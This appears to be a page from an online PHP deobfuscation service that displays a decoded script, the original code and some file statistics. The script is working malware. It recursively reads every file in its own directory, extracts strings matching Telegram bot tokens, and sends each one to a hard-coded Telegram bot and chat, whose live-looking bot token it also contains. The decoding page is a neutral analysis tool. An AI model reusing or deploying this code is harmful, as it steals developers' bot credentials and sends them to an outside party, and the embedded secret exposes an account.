Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php define('BOT_TOKEN', '6668575637:AAGHhht8kaxIGY8J4Bbc43h68sBIJJbdMiM'); define('CHA..

Decoded Output download

<?php 
define('BOT_TOKEN', '6668575637:AAGHhht8kaxIGY8J4Bbc43h68sBIJJbdMiM'); 
define('CHAT_ID', '-4003924083'); 
 
function sendMessage($message) { 
  $url = 'https://api.telegram.org/bot' . BOT_TOKEN . '/sendMessage'; 
  $data = array('chat_id' => CHAT_ID, 'text' => $message); 
  $options = array( 
    'http' => array( 
      'method'  => 'POST', 
      'content' => json_encode($data), 
      'header'=>  "Content-Type: application/json
" . 
                  "Accept: application/json
" 
    ) 
  ); 
  $context  = stream_context_create($options); 
  file_get_contents($url, false, $context); 
} 
 
function findAndSendMessage($dir) { 
  $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir)); 
  foreach($files as $file) { 
    if($file->isFile()) { 
      $content = file_get_contents($file->getPathname()); 
      if(strpos($content, 'bot') !== false) { 
        preg_match_all('/[0-9]{9,10}:[a-zA-Z0-9_-]{35}/', $content, $matches); 
        foreach($matches[0] as $match) { 
          sendMessage('API Telegram trouv : '.$match); 
        } 
      } 
    } 
  } 
} 
 
findAndSendMessage(__DIR__); ?>

Did this file decode correctly?

Original Code

<?php
define('BOT_TOKEN', '6668575637:AAGHhht8kaxIGY8J4Bbc43h68sBIJJbdMiM');
define('CHAT_ID', '-4003924083');

function sendMessage($message) {
  $url = 'https://api.telegram.org/bot' . BOT_TOKEN . '/sendMessage';
  $data = array('chat_id' => CHAT_ID, 'text' => $message);
  $options = array(
    'http' => array(
      'method'  => 'POST',
      'content' => json_encode($data),
      'header'=>  "Content-Type: application/json\r\n" .
                  "Accept: application/json\r\n"
    )
  );
  $context  = stream_context_create($options);
  file_get_contents($url, false, $context);
}

function findAndSendMessage($dir) {
  $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir));
  foreach($files as $file) {
    if($file->isFile()) {
      $content = file_get_contents($file->getPathname());
      if(strpos($content, 'bot') !== false) {
        preg_match_all('/[0-9]{9,10}:[a-zA-Z0-9_-]{35}/', $content, $matches);
        foreach($matches[0] as $match) {
          sendMessage('API Telegram trouv : '.$match);
        }
      }
    }
  }
}

findAndSendMessage(__DIR__);

Function Calls

define 1

Variables

None

Stats

MD5 2847f7abae6678c937b045e9a89ed8bc
Eval Count 0
Decode Time 46 ms